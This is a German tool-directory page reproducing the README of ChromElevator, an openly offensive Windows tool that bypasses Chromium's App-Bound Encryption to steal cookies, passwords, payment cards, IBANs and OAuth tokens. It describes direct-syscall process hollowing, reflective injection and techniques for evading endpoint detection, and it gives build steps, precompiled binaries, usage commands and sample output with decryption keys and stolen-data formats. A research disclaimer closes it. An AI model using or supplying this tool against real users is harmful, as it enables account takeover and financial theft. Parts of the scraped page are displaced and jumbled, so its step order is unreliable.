Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Chrome-App-Bound-Encryption-Decryption — Umgeht die App-Bound Encryption von Chromium durch direktes Syscall-basiertes Reflective Process Hollowing. Extrahiert Cookies, Passwörter, Zahlungsmethoden und Tokens aus Chrome, Edge, Brave und Avast – dateilos, im Benutzermodus, keine Administratorrechte erforderlich. | Kitploit
Tools/GitHubGitHub/xaitax/chrome-app-bound-encryption-decryption
Verschlüsselungs-/EntschlüsselungstoolsPasswortangriffeExploitationDatenexfiltrationInformationsbeschaffungPost-ExploitationKryptographieRed Teaming

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
xaitax/chrome-app-bound-encryption-decryption

Chrome-App-Bound-Encryption-Decryption

Umgeht die App-Bound Encryption von Chromium durch direktes Syscall-basiertes Reflective Process Hollowing. Extrahiert Cookies, Passwörter, Zahlungsmethoden und Tokens aus Chrome, Edge, Brave und Avast – dateilos, im Benutzermodus, keine Administratorrechte erforderlich.

Repository anzeigenWebseite
1.7k292vor 6 MonatenVon Kitploit geprüft

ChromElevator (Chrome App-Bound Encryption Decryption)

🚀 Übersicht

Build Status License Platform Languages Ask DeepWiki

Ein Post-Exploitation-Tool, das eine vollständige, In-Memory-Umgehung der App-Bound Encryption (ABE) von Chromium demonstriert. Dieses Projekt nutzt reflective Process Hollowing auf Basis direkter Syscalls, um einen legitimen Browserprozess im angehaltenen Zustand zu starten, dabei heimlich ein Payload zu injizieren und dessen Identität sowie Sicherheitskontext zu übernehmen. Diese Living-off-the-Land (LOTL)-Technik untergräbt das eigene Sicherheitsmodell des Browsers. Der dateilose Ansatz ermöglicht es dem Tool, vollständig aus dem Speicher heraus zu arbeiten, Userland-API-Hooks zu umgehen und sensible Nutzerdaten (Cookies, Passwörter, Zahlungen) aus modernen Chromium-Browsern zu entschlüsseln und zu exfiltrieren.

Wenn Sie diese Forschung wertvoll finden, freue ich mich über einen Kaffee:
ko-fi

🛡️ Zentrale technische Säulen

Die Wirksamkeit dieses Tools beruht auf einer Kombination moderner, auf Umgehung ausgerichteter Techniken:

  • Direkte Syscalls zur Umgehung: Umgeht EDR/AV-Userland-Hooks auf Standard-WinAPI-Funktionen, indem Kernel-Funktionen direkt aufgerufen werden. Die Engine löst Syscall-Nummern zur Laufzeit dynamisch mithilfe der Hell's Gate-Technik mit hash-basiertem Funktionsabgleich auf (keine Klartext-Syscall-Namen in der Binärdatei).

  • Direct Syscall-basiertes Process Hollowing: Eine heimliche Technik zur Prozesserstellung und -injektion. Anstatt in einen stark frequentierten, möglicherweise überwachten Prozess zu injizieren, wird ein neuer, angehaltener Host-Prozess erstellt. Dies reduziert die Erkennungswahrscheinlichkeit erheblich, da alle Speichermanipulationen stattfinden, bevor der Prozess seine normale Ausführung beginnt.

  • Dateiloses In-Memory-Payload: Das Payload-DLL wird auf dem Zielsystem niemals auf die Festplatte geschrieben. Es ist als mit ChaCha20 verschlüsseltes Byte-Array zur Compilezeit eingebettet, mit zur Compilezeit abgeleiteten Schlüsseln, wird im Speicher entschlüsselt und reflektiv geladen. Das minimiert den forensischen Fußabdruck und umgeht statische dateibasierte Scanner.

  • Reflective DLL Injection (RDI): Eine heimliche Prozessinjektionsmethode, die LoadLibrary für das Haupt-Payload umgeht und so Erkennungsmechanismen umgeht, die Modul-Ladevorgänge überwachen. Der eigenständige Bootstrap-Loader mappt PE-Abschnitte, führt Relokationen durch und löst Importe direkt aus dem Speicher auf.

  • COM-Aufruf im Zielkontext: Der Dreh- und Angelpunkt zur Überwindung der App-Bound Encryption. Durch die Ausführung von Code innerhalb des vertrauenswürdigen Browserprozesses erben wir dessen Identität und Sicherheitskontext. Dadurch können wir legitim wirkende Aufrufe an den ABE-COM-Server richten und dessen Pfadvalidierungs-Sicherheitsprüfungen erfüllen.

⚙️ Funktionen

Kernfunktionen

  • 🔓 Vollständige Entschlüsselung von Cookies, Passwörtern, Zahlungsmethoden, IBANs und Google-OAuth-Tokens im Usermode.
  • 📁 Erkennt und verarbeitet alle Benutzerprofile (Default, Profile 1 usw.).
  • 📝 Exportiert alle extrahierten Daten in strukturierte JSON-Dateien, sortiert nach Profil.
  • 🔍 Umfassendes Browser-Fingerprinting mit Systeminformationen.

Stealth & Umgehung

  • 🛡️ Dateilose Payload-Zustellung: In-Memory-Entschlüsselung und Injektion eines verschlüsselten, eingebetteten Payloads.
  • 🛡️ Direct Syscall Engine: Umgeht gängige Endpoint-Schutzmaßnahmen, indem gehookedte Userland-APIs für alle Prozessoperationen vermieden werden.
  • 🛡️ Hash-basierte Syscall-Auflösung: Keine Klartext-Nt*/Zw*-Funktionsnamen in der Binärdatei – es werden DJB2-Hashes zur Compilezeit verwendet.
  • 🛡️ Schlüsselableitung zur Compilezeit: Verschlüsselungsschlüssel werden aus Build-Metadaten abgeleitet, eindeutig pro Build.
  • 🛡️ PE-Header-Zerstörung: Nach der Injektion werden PE-Header mit pseudozufälligen Daten überschrieben, um Speicherscanner zu umgehen.
  • 🛡️ IPC-Mimikry: Browserspezifische Named-Pipe-Muster, die sich in legitimen Browser-IPC-Verkehr einfügen.
  • 🤫 Process Hollowing: Erstellt einen unauffälligen, angehaltenen Host-Prozess für das Payload und vermeidet die Injektion in potenziell überwachte Prozesse.
  • 👻 Reflective DLL Injection: Lädt das Payload heimlich, ohne verdächtige LoadLibrary-Aufrufe.
  • 🔒 Nicht-intrusive Dateisperren-Umgehung: Nutzt Syscall-basierte Handle-Duplikation, um auf gesperrte SQLite-Datenbanken zuzugreifen, ohne Browserprozesse zu beenden. Optionaler --kill-Schalter für die vollständige Prozessbeendigung.
  • 💼 Keine Administratorrechte erforderlich: Arbeitet vollständig im Sicherheitskontext des Benutzers.

Kompatibilität & Bedienbarkeit

  • 🌐 Funktioniert mit Google Chrome, Brave, Edge und Avast Secure Browser.
  • 💻 Unterstützt nativ die Architekturen x64 und ARM64.
  • 🚀 Eigenständiger Betrieb: Erstellt automatisch einen neuen Browserprozess als Host für das Payload; es sind keine bereits laufenden Instanzen erforderlich.
  • 📁 Anpassbares Ausgabeverzeichnis für die extrahierten Daten.
image

📦 Unterstützte und getestete Versionen

Hinweis: Chrome/Brave/Edge 144+ verwenden das neue IElevator2-COM-Interface. Dieses Tool verwendet automatisch IElevator2, wenn verfügbar, und fällt für ältere Versionen auf IElevator zurück. Avast Secure Browser verwendet ein benutzerdefiniertes IElevatorChrome-Interface mit erweiterter Vtable (12 Methoden, DecryptData bei Offset 104).

🔍 Feature-Support-Matrix

Diese Matrix beschreibt die Extraktionsfähigkeiten für jeden unterstützten Browser.

🔬 Technischer Ablauf

Die Ausführung des Tools konzentriert sich auf Tarnung und Effizienz und basiert auf einem Reflective Hollowing auf Basis direkter Syscalls. Dieser Ansatz sorgt dafür, dass nur wenige High-Level-API-Aufrufe getätigt werden und das Payload aus einem legitimen, neu erstellten Browserprozess heraus arbeitet.

Stufe 1: Der Injector (chromelevator.exe)

  1. Pre-Flight & Initialisierung: Der Injector beginnt mit der Initialisierung seiner Direct-Syscall-Engine, indem er dynamisch ntdll.dll parst, um Syscall-Nummern (SSNs) mittels hash-basiertem Abgleich aufzulösen und Kernel-Übergangs-Gadgets (syscall/ret oder svc/ret) zu lokalisieren. Wenn das Flag --kill angegeben ist, verwendet er die Syscalls NtGetNextProcess und NtTerminateProcess, um alle laufenden Instanzen des Zielbrowsers zu beenden und Dateisperren auf SQLite-Datenbanken freizugeben.
  2. Payload-Vorbereitung: Das zentrale Payload-DLL, das als mit ChaCha20 verschlüsseltes Byte-Array zur Compilezeit mit zur Compilezeit abgeleiteten Schlüsseln eingebettet ist, wird vollständig im Speicher entschlüsselt.
  3. Process Hollowing: Anstatt einen vorhandenen Prozess anzugreifen, erstellt der Injector eine neue Instanz des Zielbrowsers im Zustand CREATE_SUSPENDED (CreateProcessW). Dieser unberührte, angehaltene Prozess dient als Host für unser Payload.
  4. Reflective Injection über Syscalls: Mithilfe der Direct-Syscall-Engine führt der Injector eine Reihe heimlicher Aktionen am angehaltenen Prozess durch:
    • Er reserviert Speicher mit NtAllocateVirtualMemory (direkter Syscall).

Stufe 2: Das injizierte Payload (In-Memory)

  1. Bootstrapping: Der Bootstrap-Reflective-Loader wird ausgeführt und fungiert als benutzerdefinierter In-Memory-PE-Loader mit erweiterter Tarnung:
    • Reserviert neuen Speicher für das Payload mithilfe direkter Syscalls an NtAllocateVirtualMemory (unter Umgehung des gehookten VirtualAlloc).
    • Mappt korrekt die Abschnitte des DLLs und führt Basis-Relokationen durch.
    • Löst seine Import Address Table (IAT) auf, indem er den PEB parst und Funktionsnamen hasht.
    • Setzt Abschnittsberechtigungen mithilfe direkter Syscalls an NtProtectVirtualMemory.
    • Zerstört PE-Header, indem DOS/NT-Header mit pseudozufälligen Daten überschrieben werden, wodurch die MZ-Signatur aus dem Speicher entfernt wird.
    • Ruft schließlich DllMain des Payloads auf.
  2. Verbindung & Einrichtung: Das DllMain erzeugt einen neuen Thread, der sich sofort mit dem vom Injector übergebenen Named-Pipe-Handle verbindet. Er liest die Konfiguration, einschließlich des Ausgabepfads, die vom Injector gesendet wurde. Alle weiteren Protokolle und Statusmeldungen werden über diese Pipe zurückgesendet.
  3. COM-Hijacking im Zielkontext: Da das Payload nun nativ im Browserprozess läuft, instanziiert es den internen COM-Server des Browsers (IElevator2 für Chrome/Brave 144+, IElevator für frühere Versionen, für Edge oder für Avast Secure Browser). Da der Aufruf von einem vertrauenswürdigen Prozesspfad stammt, werden alle Sicherheitsprüfungen des Servers bestanden.

🔧 Build-Anleitung

Dieses Projekt verwendet ein einfaches, robustes Build-Skript, das die gesamte Kompilierung und Payload-Einbettung automatisch übernimmt.

  1. Klonen Sie dieses Repository.

  2. Öffnen Sie eine Developer-Eingabeaufforderung für VS (oder eine MSVC-fähige Shell).

  3. Führen Sie das Build-Skript make.bat aus dem Projektstammverzeichnis aus.

Build-Optionen:

  • make.bat - Vollständiger Build (Standard)
  • make.bat clean - Alle Build-Artefakte entfernen
  • make.bat build_encryptor_only - Nur den Verschlüsseler bauen (für CI)
  • make.bat build_target_only - Payload und Injector bauen (für CI)

Automatisierte Builds mit GitHub Actions

Dieses Projekt verwendet GitHub Actions, um die Injector-ausführbare Datei (chromelevator.exe) automatisch für die Architekturen x64 und ARM64 zu erstellen.

Die neuesten vorkompilierten Binärdateien finden Sie auf der Releases-Seite. Die ausführbaren Dateien für beide Architekturen sind in einer einzigen, praktischen .zip-Datei gebündelt.

Inhalt des Release-Pakets:

  • chromelevator_x64.exe
  • chromelevator_arm64.exe

🚀 Verwendung```bash

PS> .\chromelevator.exe --help

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>

Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory

root@kitploit:~
### Optionen

- `--output-path <path>` oder `-o <path>`
  Gibt das Basisverzeichnis für Ausgabedateien an.
  Standardmäßig `.\output\` relativ zum Speicherort des Injectors.
  Die Daten werden in Unterordnern organisiert: `<path>/<BrowserName>/<ProfileName>/`.

- `--verbose` oder `-v`
  Aktiviert umfangreiche Debug-Ausgaben des Injectors.

- `--fingerprint` oder `-f`
  Extrahiert umfassende Browser-Fingerprinting-Daten, einschließlich Version, Erweiterungen, Sicherheitseinstellungen und Systeminformationen.
  Ergebnisse werden in `fingerprint.json` im Ausgabeverzeichnis des Browsers gespeichert.

- `--kill` oder `-k`
  **Beendet alle Browserprozesse vor der Extraktion.** Verwendet direkte Syscalls (`NtTerminateProcess`), um alle laufenden Instanzen der Zielbrowser zu beenden, bevor versucht wird, Daten zu extrahieren. Dies ist nützlich, wenn Browser laufen und Sperren auf Datenbankdateien halten, was das Tool daran hindert, auf Cookies oder andere verschlüsselte Daten zuzugreifen.

- `--help` oder `-h`
  Zeigt diese Hilfemeldung an.

### Normaler Lauf```bash
PS> .\chromelevator.exe all

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  ┌──── Brave (143.1.85.120) ──────────────────────
  │
  │ Decryption Key
  │ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
  │
  ├── Default
  │   Cookies     3312
  │   Passwords   55
  │   Cards       1
  │   IBANs       1
  │
  └── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave

  ┌──── Chrome (143.0.7499.193) ───────────────────
  │
  │ Decryption Key
  │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
  │
  ├── Default
  │   Cookies     380
  │   Passwords   1
  │
  ├── Profile 1
  │   Cookies     932
  │   Passwords   791
  │   Cards       1
  │   IBANs       1
  │   Tokens      2
  │
  └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

  ┌──── Chrome Beta (144.0.7559.59) ───────────────
  │
  │ Decryption Key
  │ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
  │
  ├── Default
  │   Cookies     224
  │
  └── 224 cookies (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta

  ┌──── Edge (144.0.3719.67) ──────────────────────
  │
  │ Decryption Key
  │ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
  │
  ├── Default
  │   Cookies     226
  │   Passwords   2
  │   Cards       1
  │
  ├── Profile 1
  │   Cookies     25
  │
  └── 251 cookies, 2 passwords, 1 cards (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge

Verbose```bash

PS> .\chromelevator.exe -v -f chrome

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

root@kitploit:~
## 📂 Datenextraktion

Sobald die Entschlüsselung abgeschlossen ist, werden die Daten im angegebenen Ausgabepfad gespeichert (standardmäßig `.\output\`, falls nicht über `--output-path` angegeben). Die Dateien sind wie folgt organisiert:

**Basispfad:** `YOUR_CHOSEN_PATH` (z. B. `.\output\` oder der von Ihnen angegebene Pfad)
**Struktur:** `<Base Path>/<BrowserName>/<ProfileName>/<data_type>.json`

Beispielpfade (unter Annahme des Standard-Ausgabeorts):

- 🍪 **Cookies (Chrome-Standardprofil):** .\output\Chrome\Default\cookies.json
- 🔑 **Passwörter (Edge-Profil 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **Zahlungsmethoden (Brave-Standardprofil):** .\output\Brave\Default\payments.json
- 🏦 **IBANs (Chrome-Profil 1):** .\output\Chrome\Profile 1\iban.json

### 🍪 Cookie-Extraktion

Jede Cookie-Datei ist ein JSON-Array von Objekten:```json
[
  {
    "host": "accounts.google.com",
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "expires": 1766591611,
    "value": "AFx_qI781-…"
  },
  {
    "host": "mail.google.com",
    "name": "OSID",
    "path": "/mail",
    "expires": 1766591611,
    "value": "g.a000uwj5ufIS…"
  },
  …
]

🔑 Passwort-Extraktion

Jede Passwortdatei ist ein JSON-Array von Objekten:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]

root@kitploit:~
### 💳 Extraktion von Zahlungsmethoden

Jede Zahlungsdatei ist ein JSON-Array von Objekten:```json
[
  {
    "name": "John Doe",
    "month": 12,
    "year": 2030,
    "number": "••••••••••1234",
    "cvc": "•••"
  },
  …
]

🏦 IBAN-Extraktion

Jede IBAN-Datei ist ein JSON-Array von Objekten:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]

root@kitploit:~
### 🎟️ Token-Extraktion

Jede Token-Datei ist ein JSON-Array aus Objekten, die den Dienst, das entschlüsselte Token und den Bindungsschlüssel (falls vorhanden) enthalten:```json
[
  {
    "service": "AccountId-112823413702122221871",
    "token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
    "binding_key": ""
  }
]

🔍 Browser-Fingerprinting

Mit dem Flag --fingerprint oder -f wird ein umfassender Metadatenbericht erstellt:```json { "browser": "Chrome", "executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe", "browser_version": "143.0.7499.170", "user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data", "sync_enabled": false, "enterprise_managed": true, "update_channel": "stable", "hardware_acceleration": false, "metrics_enabled": false, "autofill_enabled": true, "password_manager_enabled": false, "safe_browsing_enabled": true, "do_not_track": false, "third_party_cookies_blocked": false, "translate_enabled": true, "installed_extensions_count": 2, "extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"], "profile_count": 2, "computer_name": "DESKTOP-ABC123", "windows_user": "username", "os_version": "10.0.26220", "architecture": "ARM64", "last_config_update": 1766578854, "extraction_timestamp": 1766591611, "extraction_complete": true }

root@kitploit:~
Diese Daten liefern Informationen über die Browser-Konfiguration, den Sicherheitsstatus und den Systemkontext.

## 📚 Detaillierte technische Analyse & Forschung

Für ein umfassendes Verständnis der App-Bound-Verschlüsselung (ABE) von Chrome, der Feinheiten ihrer Implementierung, der detaillierten Mechanismen des Ansatzes dieses Tools sowie einer breiteren Diskussion verwandter Sicherheitsvektoren verweise ich auf mein ausführliches Forschungspapier:

1.  ➡️ **[Chrome App-Bound Encryption (ABE) – Technischer Deep Dive & Forschungsnotizen](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**

    Dieses Dokument behandelt:

    - Die Entwicklung von DPAPI zu ABE.
    - Eine schrittweise Aufschlüsselung des ABE-Mechanismus, einschließlich der `IElevator`/`IElevator2`-COM-Interaktionen und des Key-Wrappings.
    - Die detaillierte Methodik der von diesem Tool verwendeten DLL-Injection-Strategie.
    - Analyse verschlüsselter Datenstrukturen und relevante Einblicke in den Chromium-Quellcode.
    - Diskussion alternativer Entschlüsselungsvektoren und der sich weiterentwickelnden Abwehrmaßnahmen von Chrome.

2.  ➡️ **[Der kuriose Fall des widerspenstigen COM: Entschlüsselung der App-Bound-Verschlüsselung von Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**

    Dieser Artikel beschreibt die spezifischen Herausforderungen und die Reverse-Engineering-Reise, die unternommen wurde, um eine zuverlässige ABE-Entschlüsselung für Microsoft Edge zu erreichen. Er umfasst:

    - Einen Bericht über die anfänglichen Probleme und irreführende Fehlercodes (`E_INVALIDARG`, `E_NOINTERFACE`).
    - Den Prozess der COM-Typbibliotheks-Introspection (mit Python `comtypes`), um die einzigartige `IElevatorEdge`-Vtable-Struktur und -Vererbung von Edge aufzudecken.
    - Wie diese Erkenntnis zu maßgeschneiderten C++-Interface-Stubs für die erfolgreiche Interaktion mit dem ABE-Dienst von Edge führte.
    - Einen praktischen Blick auf das Debuggen kniffliger COM-Interoperabilitätsprobleme.

3.  ➡️ **[Der Aufzug bekommt ein Upgrade: Chrome 144, IElevator2 und der Mojo-Horizont](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**

    Dieser Artikel behandelt die neue `IElevator2`-COM-Schnittstelle von Chrome 144 und was sie für ABE bedeutet:

    - Technischer Vergleich zwischen den Schnittstellen `IElevator` von Chrome 143 und `IElevator2` von Chrome 144.
    - Analyse der beiden neuen Methoden (`RunIsolatedChrome`, `AcceptInvitation`) und ihrer Verbindung zur geplanten Mojo-IPC-Migration von Chromium.
    - VTable-Layout-Vergleich, der die Wahrung der Abwärtskompatibilität zeigt.
    - Die teilweise Übernahme von `IElevator2` durch Edge 144 sowie neue Copilot-Schnittstellen.
    - Eine ehrliche Einschätzung, was die Mojo-Migration für die ABE-Sicherheit ändert (und was nicht).

4.  ➡️ **[COMrade ABE: Ihr Feldhandbuch für das COM-Innenleben der App-Bound-Verschlüsselung](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**

    Dieses Feldhandbuch stellt **COMrade ABE** vor, einen Python-basierten dynamischen Analysator für ABE-COM-Schnittstellen, und taucht in seine praktischen Anwendungen ein:

    - Erklärt die Notwendigkeit der dynamischen COM-Schnittstellenanalyse aufgrund von Browser-Varianten und -Updates.
    - Beschreibt die Methodik von COMrade ABE im Detail: Registry-Scanning zur Diensterkennung, Laden und Parsen von Typbibliotheken sowie heuristisches Abgleichen von ABE-Methodensignaturen.
    - Bietet einen umfassenden Leitfaden zur Interpretation der Ausgabe von COMrade ABE, einschließlich CLSIDs, IIDs (Standard- und C++-Stil) sowie der Bedeutung von Details in der ausführlichen Ausgabe wie VTable-Offsets, definierende Schnittstellen und vollständige Vererbungsketten.
    - Hebt den Nutzen der automatisch generierten C++-Stubs (`--output-cpp-stub`) für schnelle Entwicklung und Forschung hervor.
    - Erörtert, wie COMrade ABE bei der Anpassung an ABE-Änderungen, der Analyse neuer Chromium-Browser und dem Verständnis herstellerspezifischer COM-Anpassungen hilft.

## 🔗 Zusätzliche Ressourcen & Forschung

Dieses Projekt baut auf der Arbeit und Analyse der breiteren Sicherheits-Community auf.

- **Offizielle Dokumentation & Ankündigungen:**

  - [Google Security Blog: Verbesserung der Sicherheit von Chrome-Cookies unter Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
  - [Entwurfsdokument: Chrome-App-Bound-Encryption-Dienst](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)

- **Community-Forschung & Danksagung:**
  - Proof of Concept von [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)

## 🗒️ Changelog

Alle wesentlichen Änderungen an diesem Projekt sind in der Datei [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md) dokumentiert. Dazu gehören Versionshistorie, neue Funktionen, Fehlerbehebungen und Sicherheitsverbesserungen.

## 📜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) für Details.

## 💡 Projektphilosophie & Haftungsausschluss

> [!IMPORTANT]
> Dies ist ein Hobbyprojekt, das zu Bildungs- und Sicherheitsforschungszwecken erstellt wurde. Es dient als persönliche Lernerfahrung und als Spielfeld für die Erkundung fortgeschrittener Windows-Konzepte.
>
> **Dieses Tool ist NICHT als vollwertiger Infostealer oder garantiertes EDR-Evasion-Tool gedacht.** Obwohl es fortschrittliche Techniken einsetzt, besteht sein primäres Ziel darin, den ABE-Mechanismus zu demonstrieren und zu analysieren – nicht darin, operative Tarnung für böswillige Nutzung zu bieten. Bitte stellen Sie die Einhaltung aller relevanten rechtlichen und ethischen Richtlinien sicher.
Tool herunterladen
BrowserGetestete Version (x64 & ARM64)
Google Chrome144.0.7559.133
Google Chrome Beta145.0.7632.18
Brave1.86.148 (144.1.86.148)
Microsoft Edge145.0.3800.36
Avast Secure Browser143.0.33371.147
FeatureGoogle ChromeMicrosoft EdgeBraveAvast Secure Browser
Cookies✅ ABE✅ ABE✅ ABE✅ ABE
Passwörter✅ ABE✅ ABE✅ ABE✅ ABE
Zahlungsmethoden✅ ABE✅ ABE✅ ABE✅ ABE
IBANs✅ ABE❌ N/A✅ ABE✅ ABE
Auth-Tokens✅ Google❌ N/A❌ N/A❌ N/A
  • Er schreibt das entschlüsselte Payload-DLL mit NtWriteVirtualMemory in den reservierten Bereich.
  • Er ändert die Berechtigungen des Speicherbereichs auf ausführbar mit NtProtectVirtualMemory (direkter Syscall).
  • Er erstellt eine Named Pipe für die Kommunikation und schreibt den Namen der Pipe in den Speicher des Zielprozesses.
  • Ausführung & Steuerung: Ein neuer Thread wird im Zielprozess mit NtCreateThreadEx erstellt. Die Startadresse des Threads zeigt direkt auf den Bootstrap-Export des Payloads, wobei die Adresse des entfernten Pipe-Namens als Argument dient. Der ursprüngliche Hauptthread des Browsers bleibt angehalten und wird nie fortgesetzt. Der Injector wartet anschließend darauf, dass sich das Payload über die Pipe zurückmeldet.
  • IEdgeElevatorFinal
    IAvastElevator
  • Entschlüsselung des Masterschlüssels: Das Payload ruft die Methode DecryptData auf dem COM-Interface auf und übergibt dabei den app_bound_encrypted_key, den es aus der Datei Local State liest. Der COM-Server entschlüsselt den Schlüssel zuverlässig und gibt den Klartext-AES-256-Masterschlüssel an das Payload zurück.
  • Datenextraktion: Mit dem AES-Schlüssel ausgestattet, listet das Payload alle Benutzerprofile auf (Default, Profile 1 usw.). Für jedes Profil fragt es die relevanten SQLite-Datenbanken ab (Cookies, Login Data, Web Data), entschlüsselt die Datenblobs mit AES-256-GCM und formatiert die Geheimnisse als JSON. Die Ergebnisse werden direkt in das vom Injector angegebene Ausgabeverzeichnis geschrieben.
  • Herunterfahren: Nach der Verarbeitung aller Profile sendet das Payload ein Abschlusssignal an den Injector über die Pipe und ruft FreeLibraryAndExitThread zur Bereinigung auf. Der Injector beendet nach Erhalt des Signals den übergeordneten Host-Prozess mit NtTerminateProcess.